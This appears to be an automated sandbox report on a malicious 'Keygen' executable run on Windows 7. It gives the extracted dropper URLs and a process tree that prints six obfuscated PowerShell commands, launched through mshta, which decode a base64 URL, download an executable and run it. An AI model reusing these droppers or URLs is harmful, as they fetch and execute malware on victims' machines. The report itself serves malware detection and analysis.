3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
50s
max time network
167s
platform
windows7_x64
resource
win7
submitted
02-10-2020 21:14

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (112) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

12 684 powershell.exe
14 684 powershell.exe
15 736 powershell.exe
17 1788 powershell.exe
20 736 powershell.exe
22 1788 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

Keygen.exeqhf.exeyfs.exe

pid process

1644 Keygen.exe
2524 qhf.exe
2564 yfs.exe
Loads dropped DLL 4 IoCs

Processes:

cmd.exepowershell.exepowershell.exe

pid process

1228 cmd.exe
684 powershell.exe
684 powershell.exe
736 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

428 timeout.exe
1620 timeout.exe

flow	pid	process
12	684	powershell.exe
14	684	powershell.exe
15	736	powershell.exe
17	1788	powershell.exe
20	736	powershell.exe
22	1788	powershell.exe

pid	process
1644	Keygen.exe
2524	qhf.exe
2564	yfs.exe

pid	process
1228	cmd.exe
684	powershell.exe
684	powershell.exe
736	powershell.exe

pid	process
428	timeout.exe
1620	timeout.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
736	powershell.exe
684	powershell.exe
432	powershell.exe
1788	powershell.exe
1812	powershell.exe
1320	powershell.exe
684	powershell.exe
1320	powershell.exe
736	powershell.exe
1812	powershell.exe
432	powershell.exe
1788	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	432	powershell.exe
Token: SeDebugPrivilege	736	powershell.exe
Token: SeDebugPrivilege	1788	powershell.exe
Token: SeDebugPrivilege	684	powershell.exe
Token: SeDebugPrivilege	1812	powershell.exe
Token: SeDebugPrivilege	1320	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Keygen.exeqhf.exe

pid process

1644 Keygen.exe
2524 qhf.exe

pid	process
1644	Keygen.exe
2524	qhf.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (112) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 1776 wrote to memory of 1228	1776	Keygen — копия (112) — копия.exe	cmd.exe
PID 1776 wrote to memory of 1228	1776	Keygen — копия (112) — копия.exe	cmd.exe
PID 1776 wrote to memory of 1228	1776	Keygen — копия (112) — копия.exe	cmd.exe
PID 1776 wrote to memory of 1228	1776	Keygen — копия (112) — копия.exe	cmd.exe
PID 1228 wrote to memory of 1644	1228	cmd.exe	Keygen.exe
PID 1228 wrote to memory of 1644	1228	cmd.exe	Keygen.exe
PID 1228 wrote to memory of 1644	1228	cmd.exe	Keygen.exe
PID 1228 wrote to memory of 1644	1228	cmd.exe	Keygen.exe
PID 1228 wrote to memory of 1628	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1628	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1628	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1628	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1548	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1548	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1548	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1548	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1620	1228	cmd.exe	timeout.exe
PID 1228 wrote to memory of 1620	1228	cmd.exe	timeout.exe
PID 1228 wrote to memory of 1620	1228	cmd.exe	timeout.exe
PID 1228 wrote to memory of 1620	1228	cmd.exe	timeout.exe
PID 1228 wrote to memory of 520	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 520	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 520	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 520	1228	cmd.exe	mshta.exe
PID 1548 wrote to memory of 432	1548	mshta.exe	powershell.exe
PID 1548 wrote to memory of 432	1548	mshta.exe	powershell.exe
PID 1548 wrote to memory of 432	1548	mshta.exe	powershell.exe
PID 1548 wrote to memory of 432	1548	mshta.exe	powershell.exe
PID 1628 wrote to memory of 684	1628	mshta.exe	powershell.exe
PID 1628 wrote to memory of 684	1628	mshta.exe	powershell.exe
PID 1628 wrote to memory of 684	1628	mshta.exe	powershell.exe
PID 1628 wrote to memory of 684	1628	mshta.exe	powershell.exe
PID 1228 wrote to memory of 1396	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1396	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1396	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1396	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 428	1228	cmd.exe	timeout.exe
PID 1228 wrote to memory of 428	1228	cmd.exe	timeout.exe
PID 1228 wrote to memory of 428	1228	cmd.exe	timeout.exe
PID 1228 wrote to memory of 428	1228	cmd.exe	timeout.exe
PID 520 wrote to memory of 736	520	mshta.exe	powershell.exe
PID 520 wrote to memory of 736	520	mshta.exe	powershell.exe
PID 520 wrote to memory of 736	520	mshta.exe	powershell.exe
PID 520 wrote to memory of 736	520	mshta.exe	powershell.exe
PID 1396 wrote to memory of 1320	1396	mshta.exe	powershell.exe
PID 1396 wrote to memory of 1320	1396	mshta.exe	powershell.exe
PID 1396 wrote to memory of 1320	1396	mshta.exe	powershell.exe
PID 1396 wrote to memory of 1320	1396	mshta.exe	powershell.exe
PID 1228 wrote to memory of 1224	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1224	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1224	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 1224	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 876	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 876	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 876	1228	cmd.exe	mshta.exe
PID 1228 wrote to memory of 876	1228	cmd.exe	mshta.exe
PID 1224 wrote to memory of 1788	1224	mshta.exe	powershell.exe
PID 1224 wrote to memory of 1788	1224	mshta.exe	powershell.exe
PID 1224 wrote to memory of 1788	1224	mshta.exe	powershell.exe
PID 1224 wrote to memory of 1788	1224	mshta.exe	powershell.exe
PID 876 wrote to memory of 1812	876	mshta.exe	powershell.exe
PID 876 wrote to memory of 1812	876	mshta.exe	powershell.exe
PID 876 wrote to memory of 1812	876	mshta.exe	powershell.exe
PID 876 wrote to memory of 1812	876	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (112) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (112) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\5E94.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (112) — ?????.exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1228

C:\Users\Admin\AppData\Local\Temp\5E94.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1644

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5E94.tmp\m.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1628

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:684

C:\Users\Public\qhf.exe
"C:\Users\Public\qhf.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2524

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5E94.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1548

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:432

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1620

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5E94.tmp\b.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:520

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:736

C:\Users\Public\yfs.exe
"C:\Users\Public\yfs.exe"
5⤵
- Executes dropped EXE
PID:2564

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5E94.tmp\b1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1396

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1320

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:428

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5E94.tmp\ba.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1224

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1788

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5E94.tmp\ba1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:876

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1812

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_de4eedb8-4762-4c56-b80c-203df3aa6fa8

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Temp\5E94.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\5E94.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\5E94.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\5E94.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\5E94.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\5E94.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\5E94.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\5E94.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\5E94.tmp\start.bat

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Public\qhf.exe

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C:\Users\Public\yfs.exe

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C:\Users\Public\yfs.exe

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\Users\Admin\AppData\Local\Temp\5E94.tmp\Keygen.exe

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\Users\Public\qhf.exe

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\Users\Public\qhf.exe

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\Users\Public\yfs.exe

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memory/428-18-0x0000000000000000-mapping.dmp

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memory/432-31-0x0000000071D90000-0x000000007247E000-memory.dmp

Filesize
6.9MB

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memory/432-14-0x0000000000000000-mapping.dmp

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memory/520-13-0x0000000000000000-mapping.dmp

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memory/684-70-0x0000000006270000-0x0000000006271000-memory.dmp

Filesize
4KB

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memory/684-56-0x00000000053C0000-0x00000000053C1000-memory.dmp

Filesize
4KB

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memory/684-85-0x0000000006400000-0x0000000006401000-memory.dmp

Filesize
4KB

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memory/684-64-0x00000000057E0000-0x00000000057E1000-memory.dmp

Filesize
4KB

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memory/684-69-0x0000000006220000-0x0000000006221000-memory.dmp

Filesize
4KB

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memory/684-15-0x0000000000000000-mapping.dmp

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memory/684-77-0x00000000063D0000-0x00000000063D1000-memory.dmp

Filesize
4KB

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memory/684-50-0x0000000002740000-0x0000000002741000-memory.dmp

Filesize
4KB

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memory/684-30-0x0000000071D90000-0x000000007247E000-memory.dmp

Filesize
6.9MB

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memory/736-29-0x0000000071D90000-0x000000007247E000-memory.dmp

Filesize
6.9MB

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memory/736-19-0x0000000000000000-mapping.dmp

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memory/876-24-0x0000000000000000-mapping.dmp

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memory/1224-22-0x0000000000000000-mapping.dmp

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memory/1228-0-0x0000000000000000-mapping.dmp

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memory/1320-32-0x0000000071D90000-0x000000007247E000-memory.dmp

Filesize
6.9MB

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memory/1320-44-0x0000000004B30000-0x0000000004B31000-memory.dmp

Filesize
4KB

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memory/1320-20-0x0000000000000000-mapping.dmp

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memory/1396-17-0x0000000000000000-mapping.dmp

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memory/1548-10-0x0000000000000000-mapping.dmp

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memory/1620-11-0x0000000000000000-mapping.dmp

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memory/1628-8-0x0000000000000000-mapping.dmp

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memory/1644-4-0x0000000000000000-mapping.dmp

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memory/1644-5-0x0000000000000000-mapping.dmp

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memory/1788-38-0x00000000010B0000-0x00000000010B1000-memory.dmp

Filesize
4KB

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memory/1788-36-0x0000000071D90000-0x000000007247E000-memory.dmp

Filesize
6.9MB

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memory/1788-28-0x0000000000000000-mapping.dmp

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memory/1812-37-0x0000000071D90000-0x000000007247E000-memory.dmp

Filesize
6.9MB

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memory/1812-33-0x0000000000000000-mapping.dmp

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memory/2524-100-0x0000000000000000-mapping.dmp

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memory/2564-106-0x0000000000000000-mapping.dmp

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